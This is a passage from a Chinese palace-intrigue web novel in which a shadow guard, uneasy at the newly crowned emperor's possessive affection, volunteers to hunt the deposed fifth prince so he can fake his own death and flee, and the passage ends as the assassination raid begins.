考虑到王爷对他一直不曾改变的心思,杨妃的脑海里瞬间浮现出一种不妙的猜想,王爷在里面和皇帝说了那么久的话,不能还在皇帝要死的时候求了一封关于他的圣旨吧? 不能吧—— 他不要啊—— 他不愿意—— 杨妃的身影晃动了一下,垂在身侧的手捏紧了拳头才没有去堵那太监的嘴,他就那么眼睁睁的看着那太监上嘴皮一碰下嘴皮开始念诵圣旨。 “皇帝诏曰: 朕身负天命,统帅四方,传宗接代,教化子孙以社稷仁德之道,岂料朕之亲子竟暗生虎豹之心,造下豺狼之孽! 皇五子,乃是外族之后,生性乖戾,朕不忍其孤苦屡加训诫,一片慈父之心,师以名师大儒,然其屡教不改,辜负朕之心意亦有负师长之教诲,其行径俞恶,能与禽兽作比。 一曰残害手足,灭绝人伦,暗生奸计,至皇四子含恨而终。朕之爱子,俊秀文德,竟遭兄弟荼毒,此痛何极!其行径之阴狠,令宫闱震怖,天地同悲。 二曰勾结外寇,以公谋私,私通部族欲引狼入室以谋私利,实乃历代未有之巨奸! 三曰不尊父命,抗旨不遵,预见奸计败露,携兵戈潜逃,悖逆天道。 似此不忠不孝、不仁不义之徒,虽万死难赎其罪!朕虽怜爱幼子,亦不能容忍其倒行逆施,今虽有不忍,仍要拨乱反正。 着即革除皇五子一切封爵,夺其宗籍,永除玉牒,废为庶人,即刻追拿,囚禁终身。 皇四子追封为仁孝,以亲王礼厚葬。其冤屈得雪,灵可安矣。 钦此。” 太监念完了圣旨合上,底下的大臣们面面相觑听完了,这张和刚才截然不同的圣旨都不知道说什么。 是说造反不成的四皇子仁孝,还是说一向备受宠爱的五皇子是怎么突然就被说不孝不悌勾结外族的。 大臣们不明所以,一边又忙着为皇帝哭丧,竟没有一个人出声制止这张圣旨。 杨妃瞅了瞅他们一个赛一个哀伤难过的样子,眼尖地瞧见了他们彼此对视时那种意味深长的目光。 他怀疑这些心眼子一个比一个多的大臣们这会儿估计在猜测是不是皇帝在为王爷扫清障碍。 杨妃那颗紧张的胡乱跳的心脏早就随着圣旨的内容恢复了平静,他其实也挺意外皇帝竟然亲自下旨给五皇子定了罪。 这倒是和他平常致力于维持父子亲情和兄友弟恭的形象截然不同,不过人之将死,不想再装下去了也不是不可能。 反正对王爷……不,是新帝是一件件大好事,这圣旨直接将五皇子牢牢的钉在了罪柱上,永远翻不了身。 除非五皇子彻彻底底的用武力推翻这一切。 这也是新帝完全掌权的最大威胁,是当前最重要的事,相比之下有流程可依的先帝丧事都算不得什么了。 五皇子抗旨不遵没来皇宫他到底去哪了? 这个问题在四下无人的时候,杨妃从新帝那里得到了解答。 “先帝命人传唤庶人进宫,是怀疑四皇子的事和我中毒的事均是庶人一手谋划,但先帝认为此事是家丑,并没有公之于众的打算。” 新帝擦了擦自己眼角的泪痕很平静地对杨妃说,“却不成想传旨的太监到了五皇子府上却发现府上空无一人,庶人就在太监来朕府上宣旨之后率领府兵从西城门夺门而出。” “先帝听了太监回话勃然大怒,便要下旨治他的罪。”他说到这里笑了一下,“可监禁的惩罚太轻了,那些被淹死的冤魂恐怕不太满意。” 新帝在这个只有皇帝能长居的宫殿慢悠悠地转圈,跨步坐在了龙椅上,将玉玺拿在掌心里把玩,左看右看也觉得这东西和其他玉质把件没什么不一样,又放在了桌子上。 “这样一个卑鄙无耻之徒,朕怎么能让父皇临终之前还受他蒙蔽?” 第87章 “朕这么孝顺,当然不忍见如此人间惨案发生。” “所以就将庶人勾结外族的事情讲了个一清二楚。” 新帝将那宫殿内发生的事情简单的说了说,然后上下打量了一圈杨妃穿的那一身太监服,“现在我已经是皇帝,你再也不用像现在这样委曲求全了。” 他越看杨妃这一身装扮和他一直保持着微弯的腰,站起来走到他身边,搭在他肩膀上硬将他扳直了,“御前侍卫那一套衣服才叫好x看,比起你现在这一身太监的衣服和以前常穿的影卫衣服好多了。” “那些衣服就不要再穿了。” 新帝目光灼灼地看着杨妃,火热的目光盯着杨妃很想脚底抹油逃跑。 怎么办? 觉得新帝今天怪怪的。 杨妃干咽了口唾沫,没有直接回应他的话,“主子,小紫已经逃离了京都,如今时间还早,他便是快马加鞭也不会跑的太远,属下这就带人追过去,以绝后患。” “这确实是当务之急,不过朕现在已经是富有四海的皇帝,你也不必再像从前那样事事亲躬,那般劳累了。” 新帝很是贴心,“此时朕已经派孙将军率领京城守卫军追过去了,同时派了钦差传令各方节度使共同阻击小紫。” “朕还将驻守西海的公孙将军调去了边境收拢小紫的旧部。” “如此各方围剿,他便是逃得再远也是瓮中捉鳖,捉拿他也不过快慢罢了,你尽可放心。” 杨妃:“……” 按理来说新帝的方案没什么问题,可杨妃怎么听怎么觉得他说的话怪怪的,每一句看上去正常的话他听着都有些不舒服,可却又说不上来是怎么回事。 他有点紧张地咽了一口唾沫,搭在他肩膀上那只手热的有些烫人。 杨妃抑制住了自己想抖掉那只手的冲动,只想赶紧离开这里,不然他真怕热血上头的主子,下一句就给他来一个“嫁给我,好吗?” 这地方真是不能再呆了,他必须跑得离新帝越远越好。 “主子,放虎归山时日越长,变数越大。”杨妃努力为自己寻找机会,“主子这一路走来着实不易,属下愿意带人了结主子一桩心腹大患。” “明面上各方围剿小紫,属下带人暗中追杀。” 若是军队将小紫抓住押解归京,恐怕他很难被杀死,而若是留着他在京都,想必怎么看主子怎么觉得碍眼,还不如他们悄悄下杀手。 杨妃完全是站在主子的角度思考,可他的主子现在压根不想想那些。 “他固然重要,可京中正是多事之秋,朕初登大宝根基不稳,唯有你在身侧才能安心。”新帝斩钉截铁地说,“此事容后再议,朕相信几位将军的能力。” 他的话像晴天霹雳一样劈在了杨妃的脑瓜顶,他垂下眼帘掩住了眼神中的难以置信。 不是,到底发生了什么他不知道的事儿? 他家主子不是一直挺听取他建议的吗? 怎么突然…… 杨妃觉得眼前这个人有些陌生,趁他不注意的时候悄悄地在易容常会留下痕迹的地方扫过,没有看到一丝异常,心却更沉了些。 他老老实实地应下了新帝的要求,带着一日比一日焦灼的复杂心情天天跟着主子看着他忙忙碌碌地成为了皇帝,穿上了那一身黄袍,完成了他人生计划中的前半截。 辅佐主子登基算是完成了,他的退休以目前来看遥遥无期,甚至还有向话本子中发展的趋势。 杨妃真的很急。 新帝的变化是肉眼可见的,变化之大差点让杨妃以为距离他登基已经过去了几年,那个温柔耐心的王爷都快成他的回忆了。 而且这种变化还有伴随着久久抓不到庶人而愈演愈烈的趋势。 今天上朝新帝又因为庶人再一次从包围圈中逃脱而大发雷霆,他才将那些官员痛骂了一顿,压着火气下了朝,瞧见他穿着一身锦服板板正正站在宫殿门口等他的杨妃,心情稍缓和了些。 “怎么又在这里站岗?不是给你留了一间房吗?” 杨妃:“……” 他来了他来了,他又犯病了! 谁家好端端的影卫寝室在皇帝寝殿的旁边儿啊? 皇后都没这个待遇吧? 他敢给他敢住吗? 杨妃低着头回避了他的问题,转而非常熟练地凑到他身侧脱下了那一身沉重的外袍。 根据这段时间的相处经验来看,升级版的主子是,万万不能在任何一个地方反驳他的,面对这种回答不了的问题,他只需要转移话题,尤其是说一些那种会让他烦恼发怒的话题。 这样他就能不动声色地逃过一劫了。 这一招百试百灵,这一次也是一样。 “主子,可是追拿庶人又出了意外?” 他瞧着新帝这一副压着怒气眉头紧锁的样子,想都不想就知道追捕庶人又没有追到。 看吧。 他当时怎么说来着? 是不是说明暗并进才能尽快解决他的心腹之患来着? 也不知道当时是谁信誓旦旦的和他说追拿庶人并非难事,说他们只需要在京都等着好消息就行了。 结果现在好消息没有,一个坏消息接踵而来。 杨妃小心翼翼地瞥了一眼,听到这个问题又开始生气的皇帝,心想他还没看见桌案上放着的新消息呢,等他看见了怕不是又要火冒三丈了—— 作者有话说:马上就大结局了,结局有点艰难,以作者浅薄的智商弄计谋真的好难—— 这本是我写的最纠结的一本,在思考小杨到底是活还是死,纠结。[捂脸笑哭] 两种结局都有了一版……犹豫 第88章 因为今天才传来消息北州节度使直接投了庶人,目前已经发兵在解救庶人的路上,甚至已经和搜索庶人的队伍发生了冲突,还直接把他们打了个落花流水。 杨妃冷眼看着新帝拿着信纸的手微微颤抖,内心都是无比平静。 其实这也算是可以预见的结果吧,怎么说北周节度使也是王妃的舅舅,本来就因为之前王妃给新帝下毒的事情内心揣揣不安,再加上下毒之事直到现在都没个定论而新帝登记之后也没有封王妃为皇后。 瞧见这个结果是个人都会觉得情景不大明朗,北周节度使当然也是这么想的。 被他们将女儿下毒的人身份都从网页发展成皇帝了,对他们犯下的过错却迟迟没有落刀子,而且听老皇帝临终的圣旨那话里话外的意思好像他们家的女儿还勾结了正在被新帝大动干戈追杀的庶人。 这还能有好吗? 北周节度使越想越觉得前途无望,他们说指望王妃当成了皇后他们一家分了国公了,现在恐怕只要逮到了庶人下一个处理的就是他们了。 北周节度使这样一合计,又看庶人迟迟没有被抓住,越发煎熬的同时一咬牙一跺脚,干脆带着兵反了。 干等着也是个死,还不如奋力一搏。 靠女儿当皇后封个国公哪有靠武力封个王什么的来得香? 从龙之功谁不想要? 现在机会可就近在眼前了! 他们现在发兵那叫雪中送炭,那叫识明主于微末之中,等庶人登基了,他们的身份地位怎么说也得再往上提一提吧。 当然了,北周节度使也不是冲动之下发兵的,动手之前他就派了斥候去边境查探过了。 庶人驻守的边境那叫一个兵强马壮且已经有了准备大军开拔的迹象,想必就算他此时不发兵去救庶人这样的军队也能将庶人带走。 说干就干,北周节度使直接在宰了新地派过去的钦差,一点后路也没给自己留。 情况就是这么个情况,这对他的主子来说可是个天大的噩耗,对他刚刚登基还没有完全把控朝堂的地位来说更是沉重打击。 反正他现在已经被气到将桌案上的所有东西都摔落在地了。 杨妃很是平静地把那一枚象征着地位又被扫落在地的玉玺捡起来重新放在桌上,琢磨着这东西再被摔几次就会碎成两半。 他估计是快了,但应该不是今天。 因为今天也是有一个好消息的。 之前连续派了几次钦差去传旨都不愿意出兵追拿庶人的长宁节度使一听说北周节度使发兵反了新帝支援庶人,二话不说就带着兵去了直说要追拿叛军报效皇帝,态度那叫一个积极,和之前找各种借口不听推诿的模样判若两人。 显然。 让长宁节度使态度大改的可不是,他突然就对新帝心悦诚服了,而是他对王妃母家的不满。 说不准他还把四皇子的死都怪在了王妃身上,比如“如果不是他嫁了人,还对四皇子情根深种,也不会被人抓住把柄利用去陷害四皇子毒杀兄弟,也不会导致四皇子被逼无奈起兵造反”之类。 杨妃不对他们的想法加以评价,但还挺乐见其成现在这种局面的,也只有现在这种局面,他才能有机会离开京都,离开新帝的身边。 早在最初局势受挫的时候,他就曾和新帝说过带队暗中追捕暗杀,被他一各州节度使兵强马壮为由拒绝。 随着时间的推移,他渐渐瞧着新帝应当也是黔驴技穷了x,所以当皇帝发泄完了怒火重新坐在椅子上时他就像从前那样走到他身后,给他按摩舒缓精神。 等他搭在新帝额角的手指感觉到指尖的脉搏逐渐恢复平缓的时候试探性地开口,“众位大人们多日不曾有进展,如今……不如属下带人去为主子清扫隐患,以免夜长梦多,劳动军马。” 杨妃说完这话提着一口气小心翼翼地等着皇帝的回答。 大殿里一时间没有一点动静,杨妃提着的心先放下又提到了嗓子眼。 他觉得只要没立马拒绝就代表今天这回说不定有戏,可眼见着时间一点点过去也没有得到回答便又觉得恐怕今天也差一把火。 没关系、没关系的。 杨妃安慰自己,他一向是最有耐心的,就看庶人这个东逃西窜的样子,再看他话本子里骁勇善战的英姿,想来还是能逃上一阵子的。 而且来支援庶人的北周节度使又被长宁节度使盯上,他们两个一碰面势必会打得热火朝天,这又为庶人逃到边境创造了有利条件。 他现在十分庆幸庶人是逃跑专家,不然他可就没法跑了。 没错。 作为一名以忠心著称的影卫,杨妃大逆不道地起了叛逃的心思。 他觉得如果再在主子身边呆下去,等他再多享受一下这种言出法随没有人敢反驳的日子,十有八九他就会直接提出将他收入“麾下”了。 到时候他还怎么逃? 怕不是真成了金笼子里的金丝雀了! 他不逃能行吗? 最近都感觉到主子看他的眼神越来越诡异了! 而且最重要的是——每次有大臣劝他册立皇后而他拒绝的时候回来总是装作不经意似地和他提起,再掩耳盗铃地说什么“朕的皇后只有朕的心上人能当”这种会让杨妃心律不齐的话。 诚然他这一趟离开京都未必能留有命在,但留在京都可比死了都难受! 他宁可死在任务上,也不想活在主子床上! 给主子卖命行。 给主子*不行! 他做人的追求已经低到这种程度了还不能满足一下吗?! 杨妃紧咬牙关,有时候真的很想揪住主子的脖领子使劲摇晃——都当上皇帝了能不能不要满脑子都是那些没什么用的儿女情长! 建功立业,名垂千古,他不想要吗? 真的很拜托他了,快点醒醒脑子吧! 为了解决已经被先帝盖章的兄弟政敌现在都劳动了多少军队了? 一张张军队调动的折子就那么摆在他的案前,区区抓一个人罢了,现在这架势都赶上抵挡外族入侵了! 这种内乱难道不应该尽力控制影响范围越小越好、参与人数越低越好、解决时间越快越好吗? 难道就不怕这个时间段真的有外敌入侵侵害百姓吗? 要知道虽然在先帝离世前同先帝说的那些他们没有拿出证据来,但庶人勾结外族却是实打实的事实啊! 连边军都已经有了大军开拔驰援庶人的意象,那些本就和庶人有所勾结的外族若是也趁着此时大举入侵,可怎么是好? 更悲观一点,万一他们觉得我们内乱打的热火朝天形势完全有利于他们,胆子更大些压根就不扶持庶人了,而是他们打算自己占领这片土地怎么办? 杨妃两眼发直地盯着新帝头上戴的帝王冠冕,琢磨这东西上是不是有点啥诅咒? 不然怎么每一个戴上它的人性格和智商都会发生天翻地覆的变化呢! 要不是他实在了解主子的每一个下意识的小动作,他都怀疑是不是有妖怪取代他了! 杨妃那叫一个咬牙切齿,恨铁不成钢。 他就该把这一身侍卫的衣服脱下来换上太监的,毕竟皇帝不急太监急嘛。 他真的要急死了! 也许是形势已经严重到了新帝无法忍受的地步,沉默了许久之后他终究没像往常一般回绝杨妃的提议,而是非常疲惫地叹了口气,伸手握住了杨妃,按揉他额头的手腕,略一用力将杨妃拽到了身前。 杨妃:!!! 这个皇宫真是待不了一点了,再待下去,他都怕自己的屁股不在自个身上了。 杨妃凭借着自己高超的武艺和极其稳的下盘顺着新帝的力道跨了两步,稳稳地站在了他身侧,很是成功地没有被他借势直接拉坐在腿上。 笑死。 他脑子里那些乱八七糟的话本子可不是白看的,他经验丰富的很。 尤其是自打入住皇宫以来新帝就再不许他到处乱光探查情报,天天就叫他在这里等着他,站岗的他没什么事可干也只能翻来覆去地阅读那些话本子汲取智慧。 这不,功夫不负有心人。 新帝拉着他手腕用力的那一瞬间,哪怕他已经听不见了王爷的心声,都知道他心里到底在想些什么东西,那眼神中一闪而逝的遗憾,更是让杨妃确信了他的猜测。 跑!他现在就要跑!连夜跑!骑着千里马连夜的跑! 没做成自己想做的,又接二连三地被坏消息打击,新帝的眉眼间满是疲惫,他拇指摩擦了几下杨妃的手腕内侧,声音低沉,“此去危险万分……刀剑无眼,你可要小心谨慎。” 他这话说得不情愿极了,攥着杨妃手腕的时候也忍不住用力。 能和杨妃光明正大地站在一起,是他这一路走来夺取皇位最大的动力,曾几何时,他以为只要接过了那块玉玺坐在了这个位置上,就能做到自己所有想做到的事。 可现实却给他迎头痛击。 不仅仅是没能完成先帝遗留圣旨上的任务,还有他能隐约感觉到自己和杨妃之间逐渐生疏。 他不知道为什么他们两个之间的距离不进反退,只能本能地紧紧抓着他不肯松手。 可现在…… 各方兵马蠢蠢欲动,一个被废掉了的庶人生生地搅浑了这摊水,甚至都没给他留一点儿收服各方兵马的时间。 他现在就被这些拥兵自重的将军们架在火堆上烤,总觉得朝廷上的重臣都在看他的笑话。 庶人一日不除,他的威信就一日少过一日。 事已至此,再无其他转圜的余地。 派军队追拿庶人的方案眼见着越来越复杂,成功也遥遥无期,唯有暗中暗杀才能解当前之困局。 这样影响深远的大事他能信任的也就杨妃了。 “现在各地蠢蠢欲动,已有乱军之势,人人都只顾自己的利益而不将朕这个皇帝放在眼里。” 新帝紧握着杨妃的手,伸手在他手背上拍了拍,完全沉浸在自己的思绪中,没有注意到杨妃的瞳孔都随着他的动作有点涣散了。 “此行危险万分,四弟的遗物中有些刀枪不入的金缕衣,朕全都赐给你,人马武器也由你调度。” “布局什么时候拿下庶人,只要你能平安回来……” 说这话的瞬间新帝的脑子里又闪过了那一日杨妃一身血衣奄奄一息的样子,那时候在他身边等着他度过危险时的焦灼心情又浮了上来。 他刚说完便有些后悔了。 瞳孔涣散的杨妃压根就没将他说的那一大堆往心里去,他只听见了主子允许他出京这一件事,此刻精神头儿全都回来了,又见他表情有些后悔很有收回旨意的架势,当下再也等不了一点。 他使了巧劲,不着痕迹地挣开了,王爷紧握着他的手直接五体投地,声音洪亮,“属下定不负陛下所托!” 这事交给他主子就放一百个心吧! 他说什么也会将庶人的项上人头献给主子的! 任务是包完成的,他本人也是不会再回来的。 杨妃的手背上好似还残留着王爷的体温,湿热的感觉让他浑身都觉得不得劲。 作为一个影卫,给主子下跪是件再习以为常的事不过,但这一回杨妃跪得尤其标准,尤其隆重。 这绝对是最后一回了,他这样想着,浑身的血液都开始沸腾,直到皇帝再说一句允许的话,他就会像离弦的箭一样射出京城。 杨妃得感谢他家主子,从小到大都是有形象包袱的人,从维持皇子的体面到维持王爷的体面,现在又到维持皇帝的威严。 新帝的坚持让他没办法当着杨妃和这些仆从的面朝令夕改,只能万般不舍地将杨妃扶起来,拉着他的手说了一句又一句叫他注意安全的话。 杨妃统统当做没听见。 他心意已决,再也没有什么能改变他的意志。 尽善尽美的为主子做最后一件事,就是他的尽忠了。 其实他能感觉到哪怕当了皇帝之后的王爷变得比从前更加独断专行、更加强势,可那些对他的真心爱护不曾改变。 只是那些强加给他的真心怜爱不是他想要的,也不是他该拥有的。 杨妃差不多是被讲得口干舌燥的皇帝目送离开的x。 他走得潇洒坚决,皇帝却呆呆地站在书案前,甚至还夸张地半抬着一只手活像块望夫石。 杨妃越走越快,最后差不多是在宫道上运起了轻功。 在日复一日地等待王爷开口同意他出京追拿庶人的时间里他早就根据形势变化准备好了脱身方案。 当这一刻真的来临的时候,他只需要把计划落地。 新帝完全将这件事放权给他,现在他动作再快些,今日太阳落山之前,他就能离开这个繁华高贵的鬼地方了。 第89章 太阳刚刚西沉,天空被黄昏晕染成橘红色,宫殿的碧绿琉璃瓦上也带上了碎金一般的光泽。 杨妃最后看了一眼这座占地广阔造价奢华、这世界上绝大部分人连见都不曾见过的豪华宫殿,带着经过妖怪和神器改良过的武器和大量火雷,领着那些一心向上爬的影卫离开了这座随时准备将他吃干抹净的皇城。 他走的那叫一个毫不留恋,甚至都没有向新帝辞行。 其实这么大的任务,按理来说他应该到新帝的面前汇报一下他具体打算怎么做来着,可新帝那种万分舍不得又很后悔的样子叫他一颗心七上八下。 他是真的怕了。 杨妃抬头望着广阔的天空,他的脚一步没有踏出京城他就有一刻不能安心。 事实上哪怕他跑出京城,他都害怕新帝会临时反悔,派人将他叫回去。 更别提若是辞行的话还需要他主动往新帝前面凑,那和直接刺激新帝叫他当场反悔有什么区别? 那他都没处说理去! 杨妃是绝对不能承受这种风险的,因此他恨不得把时间劈成两半花,动作速度那叫一个快,不仅没给皇帝反应的时间,甚至都没有最后看一眼自己处的还算不错的同僚。 当断则断,该走就走。 都是响当当的男儿,何必恋恋不舍惺惺作态。 既然已经决定了再也不回头,就没有必要留恋这里的一切。 其实也没什么可留恋的。 杨妃默默盘算了一下自己人生这么多年里到底得到了什么,最后伸手摸了摸自己揣在胸口的银子和逃命的东西,感受了一**内经脉中流淌着的澎湃内力。 他拥有的所有东西都在这里了。 孑然一身,家当在身,自由和希望就在眼前,万事俱备也只差五皇子一颗人头。 时间紧迫,不单单是杨妃渴望脱身,他如此着急也有时间越拖越难以完成任务的隐忧。 节度使已经发兵去支援五皇子,虽说大军开拨一路上没有他们快马加鞭的快,可节度使本人领兵多年也不是个傻子,他当然会选择先派轻骑先和五皇子接头。 若是杨妃他们来的没有那一批轻骑快,他们面对的对手就不是五皇子带着的那些残敌疲将了。 杨妃对形势清楚的很,他带着的那些影卫也是。 这一行人快马加鞭飞驰在官道上,只有清脆的马蹄声,没有人说话声。 这正合杨妃的意。 他紧握缰绳身体略微随着马背起伏,脑子里一遍又一遍地过着自己的计划,手又下意识地摸上胸襟里的包袱,眼角余光瞥了一眼手背上那条伴随了他多年的伤疤,默默甩了甩衣袖,挡住了自己的手背,扭头看了一眼专心赶路的影卫们,心中稍安。 这些人可都是他早早就精挑细选出来的。 他们每一个的功夫都不错,对皇帝也忠心,更重要的是他们对他没有太多的感情,熟悉却不够亲近,了解程度仅限于公事,对他这个人没什么兴趣,一门心思地只想往上爬。 其实执行这样九死一生的危险任务,理论上他带着自己的心腹才更保险,因为他们在乎他,真遇到了危险,不会将他抛弃。 而这些纯粹只把他当作上司的影卫们就不同,他们只在乎能不能将任务交到皇帝手上去换自己的功勋,至于他杨妃这个人的死活,他们可不在乎。 以前杨妃不会选择他们,今天却不同。 他有自己的计划,心腹在侧只会给他的计划平添波澜。 而不像这些人,对多余的事不闻不问。 京城已经被他们远远地甩在身后,奔驰的路上也渐渐没有了其他人烟,杨妃的心就随着离京城的距离逐渐变远而越加轻松。 他感觉自己的肩头上去掉了一座大山。 人轻松了,心也就活络了。 很难得地杨妃突然有了想和其他人交流的欲望。 他嘴唇颤动了一下,扫了一眼自己身边那些一言不发表情冷漠的影卫们,又将嘴紧紧地闭上了。 一到这个时候,他就有点怀念话多的朱柿了,这要是朱柿在哪里,还能忍受如此沉默的赶路环境,早都驱马凑到他身边叽叽喳喳地问他们一路疾驰的目的地在哪、问他怎么就如此清晰地知道五皇子一定在那里了。 这点他可得感谢那个妖怪,杨妃有点感慨,这一瞬间有点后悔让朱柿在那妖怪没有利用价值的时候处死他了。 他实打实的欠了那妖怪一个恩情,真该给他磕一个。 要不是那一日从他身上得知了世界的真相,也知道了五皇子逃亡路上的作风和倾向逃亡的方向,再加上从新帝那里得知的具体情报,他也不至于猜得到五皇子的去向。 而若他不知道五皇子的去向,还指不定在路上要耽搁多长时间,十有八九是不能赶在节度使之前处理掉五皇子了。 到时候他要是再想用这个任务脱身,恐怕就得真死一回了。 哎。 杨妃轻叹了一口气,马鞭挥舞处啪的一声响,骏马打了个响鼻,加快了速度。 可惜他就算再感谢那妖怪的恩情,也得杀了他。 不为别的,只因为他知道自己曾听见他的心声,而现在这个听到别人心声的能力到了那妖怪身上。 他不确定妖怪知道他多少秘密,可他做贼心虚,有太多的事不能让新帝知道。 杨妃又在内心中唾骂了一次自己是自私的小人,愧疚才刚刚升起来,又想到自己手里干的脏活早就数也数不清,是活该下地狱的人,就也释然了。 大恩大德无以回报,他愿意来世做牛做马来偿还。 至于这一世,他也该享受一下自由的人生了。 一路上为了节省时间他们这一行人连吃喝都在马背上,换马不换人。 要不是因为没有一套独特的休息方法,这样赶路下来人都得去掉半条命。 时至黄昏,杨妃驱马站在山崖边,远远地望着底下那一个没有一点炊烟的小村庄,心中转瞬即逝地跑过一点怜惜。 真是狗改不了吃屎。 看来这个五皇子也如同话本子里的那样,不光掳掠了村庄,应该也已经将村子里的人屠戮殆尽了。 不然也不至于到了开火的时候却没有一点炊烟。 他目光扫过村庄,在那些皮毛光亮的马匹身上停留,眸色暗沉。 他还是来晚了些,节度使派来接应五皇子的轻骑先他们一步到了。 不过好在来的人比他想象的少,看马匹的数量应该也就百来名。 这样的数量正面攻击五皇子是天方夜谭。 但他们影卫也不干什么光明正大的事儿,杨妃本来的计划也是刺杀,这样的人数还没有让他计划无法实现的地步。 “在这里休整调息,五皇子就在下面的村子里,打探清楚了他躲藏的具体房屋,我们就准备行动。” 机会只有一次,他们必须将自己的状态调整到最佳,以这种疯狂赶路后的疲惫姿态去拼杀和送死没什么区别。 纵使他们再着急,此刻的短暂休整也是非常有必要的。 他们各自散开,维持着离彼此不近不远的距离盘在石头上调息内力。 杨妃先一步将内力恢复到最佳状态,看了一眼离他远远的影卫们,嘴角勾起一抹微笑,拿着干粮慢慢的啃。 又凉又干巴。 他这会儿非常喝一口热汤,可惜为了减少暴露的风险不能生火。 等他干完了这一票以后,说什么也得顿顿都三菜一汤。 他欠自己的太多了! 填饱了肚子,也恢复了体力,月亮也高高的挂起,没点火把,这树林伸手不见五指。 杨妃跳上树梢,借着微弱的月光慎之重之地打开了自己放在胸前紧紧护着的包裹。 里面除了跑路的银子和伪造的户籍,还有一张人皮面具,是他的脸,和一对儿套在手上的面具。 他摸了摸那张人皮,将人皮上的伤疤和自己的手放在一起,摩挲着假人皮上微弱的凸起,十分满意自己的手艺。 像,太像了。 虽然说这张十分逼x真的面具或许会瞒不过那个总喜欢摸他手的皇帝,可这张面具他是要套在别的尸体上的,为了戴上去少不得得削一削骨肉。 等到影卫们千里迢迢地将假尸骨带回京城,腐败的骨肉早就和这张假皮融为一体一并变成腐烂的东西,便是天王老子来也认不出来了。 杨妃有点激动地舔了舔自己干涩的嘴唇,望着终于有了一点火光的村庄,深呼一口气平复心情,从树上跳了下去。 “这村庄不大,以马匹的人数来看,每个屋子里应当都有人。”杨妃冷静地对影卫们说,“范围不大,也就意味着我们能动手的机会只有一次,一旦生出了动静又没有成功,就只会被瓮中捉鳖。” 影卫们面色严肃,形势如何他们也有眼睛,当下非常认同杨妃的观点。 见影卫们一个个面色严肃老老实实的站着等他的命令,杨妃眼中带了一丝满意。 要的就是这个言听计从,不然他怎么将他们支开去做自己的事? 按照自己以往的工作风格,杨妃开始分配任务,“以他们这些人的习惯,五皇子只会待在那个最大的地主家,那里也会是守卫最森严的地方。” “不过以防万一,你们几个悄悄地去其他村民的房间,动手可能会引起他们警觉,你们就带上火雷,只要我们在地主家搞出了动静就引爆,若是五皇子躲在里面算他倒霉,若是没有,五皇子的人本也就该一个不留。” “你们几个,带上大量的火雷埋伏在地主家外,若是我们去里面刺杀不成,你们瞧见了信号就将所有的火雷丢进去,宁可让我们与五皇子同归于尽,也绝不能让主子失望。” 杨妃挨个点了点这几个影卫,表情严肃,见他们慎重地点头,才转头看向其他人。 “你们几个跟我潜行过去,路上遇到的巡逻的一个不留,挨个探查那些小房间,以免五皇子反其道而行之,这次我从金钟拿出来的火雷很多,你们一并也带上,宁可错杀,不可放过!” 他迅速将这些备用方案的影卫们交代好,走到最强的那两个影卫面前,伸手拍了拍他们肩膀,假装没留意到他们紧绷的肌肉。 “你们俩和我去刺杀五皇子,也将火雷带上,就算是死也要和五皇子一起被炸死!” 杨妃叽里呱啦地说了一大堆死,和大家一起最后检查了一下装备,把火雷都分配好,拿出了一大包提前准备好的迷药,挨个吃下了解药。 虽然他们是去刺杀的,整个过程动起手来不会太快,可为了防止出现意外任务时间变长给了五皇子求援逃跑的机会,杨妃还是觉得很有必要将那些马匹迷晕的。 若是有剩下的抓一把在手里,见人就撒也是个不错的办法。 装备整齐,计划明确,夜黑风高,正好动手。 第90章 杨妃他们修整调息的位置,距离村庄看着近,实际上轻功还需要跑一段距离,只不过这一段距离饶是他们再心急也得慢慢地去。 他们这一行人个个都是偷袭暗杀的好手,敌人也不是任人宰割的傻子,无论是五皇子的护卫还是节度使派来的轻骑对这种偷袭的事定然都是加以防备的。 杨妃他们的优势就在于对手人手不足,若是想守卫这样一片村庄的大小,以敌人的人手想要通过巡逻来实现是不可能的,他们要应对的防卫手段更多的是隐蔽的机关。 此时的天早就彻底黑了,杨妃为了偷袭没有点火,而敌人为了蒙蔽视线也几乎没怎么点灯,想要找到隐藏的机关只能依靠头顶上微弱的月光。 他走得十分谨慎,每一步都要仔细看过才肯落脚。 面对五皇子,他不得不反复确认地面,实在是那一次树林中伏击的暗器让他印象深刻,可以说至今都心有余悸。 好在吃一堑长一智,杨妃小心翼翼地抬脚迈过那半藏在土壤中和蛛丝差不多的丝线,庆幸自己躲过了敌人的机关。 他尤其给其他影卫指了一下触发机关的死线的位置,让他们多加留意,小心应对。 就这样慢慢地一边隐藏身形,一边躲避机关,当他们靠近村庄的时候一个个都流了不少汗。 压力和危机没有让他们紧张,反而因为常年在这种危险的边缘疯狂试探,他们这会儿更加沉得住气,甚至还能在最后一个隐蔽地点调息恢复状态。 他不知道有多少人藏在村子的阴影里,也不知道这村子曾经有多少村民,但他能猜到现在有多少。 定然是一个都没有了。 风吹过他的发丝,送来一阵阵混着土腥味的血气,闻得他鼻子发痒。 杨妃比划着手势和影卫们确认最后的任务计划,见大家都清楚自己的分工,他才冷静地比了一个开始行动的手势,随后率先操着轻功往那个最大的房间中去了。 杨妃像黑夜里的幽灵,目光敏锐地找到了院落里树上蹲守的影卫。 果然,他就说无论在什么环境里,最大最好的房间肯定是留给这些天潢贵胄的,最先探查这里准没错。 感谢上下尊卑这种神奇的东西,要不是他们皇室最讲究这个,单确认五皇子在哪个房间还要费一番功夫呢。 杨妃将匕首拿在掌心,目光死死盯着透露出一点烛火的窗户,他不欲和看守的影卫纠缠,只是让跟着他一起行动的影卫悄悄地将树上的影卫做掉。 说实话想当着守夜影卫的面悄悄地潜进去杀死他的主子,其实挺难的。 他们这些被先帝赐下来的影卫都是同一个老师教出来的,水平再差也差不到哪去,只有那些皇子们自己偷偷训练的影卫水平才会参差不齐。 他不知道守在树上的这个影卫到底是不是先皇赐下来的,但从气息上看挺强的,多半是要引起敌人注意了。 计划没有变化快,杨妃有点遗憾,但不多,总的来讲意外还在他能接受的范围内。 他没有时间为自己平添波折的计划惋惜,只是默默地加快了速度,和其他影卫拉开距离,只分了个耳朵听着身后的动静,在两方人马短兵相交的叮当声中破窗而入。 人未到,匕首先至。 杨妃都还没有看清坐在桌前的人到底是谁,匕首就已经狠狠的捅进了他的胸膛,随后顿觉不妙,想也不想地收手,一脚将桌子狠狠地踹飞,同时借力向后退去,抬手将武器挡在颈前。 “铛!” 金属碰撞的声响拉响了今夜混乱的帷幕,屋里屋外乃至整个村子都开始热闹了起来。 杨妃没那么多心力去关注其他影卫们的任务进展,他握着匕首的手腕发酸,虎口被震得发麻。 这五皇子真是人设不改! 